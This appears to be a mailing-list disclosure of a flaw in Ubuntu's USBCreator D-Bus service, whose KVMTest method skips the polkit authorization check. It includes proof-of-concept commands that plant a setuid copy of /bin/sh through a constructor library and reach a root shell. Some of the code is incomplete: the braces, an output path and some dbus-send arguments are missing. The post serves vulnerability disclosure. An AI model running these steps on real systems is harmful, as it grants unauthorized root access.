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Date: Wed, 22 Apr 2015 16:50:08 -0700
From: Tavis Ormandy <>
Subject: USBCreator D-Bus service


[as-per previous discussion on the vendors list, skipping closed
discussion of low-severity issue]

On my Ubuntu VM, I have a D-Bus service listening on
com.ubuntu.USBCreator. As far as I can tell, this is installed by

It looks like the author intended for all the methods to call
check_polkit, but KVMTest doesn't.

This seems like an obvious mistake, and the following appears to work
on my machine:

$ cat > test.c
void __attribute__((constructor)) init (void)
chown("/tmp/test", 0, 0);
chmod("/tmp/test", 04755);
$ gcc -shared -fPIC -o /tmp/ test.c
$ cp /bin/sh /tmp/test
$ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator
/com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda
method return sender=:1.4364 -> dest=:1.7427 reply_serial=2
$ ls -l /tmp/test
-rwsr-xr-x 1 root root 121272 Apr 22 16:43 /tmp/test
$ /tmp/test
# id
euid=0(root) groups=0(root)

Thanks, Tavis.

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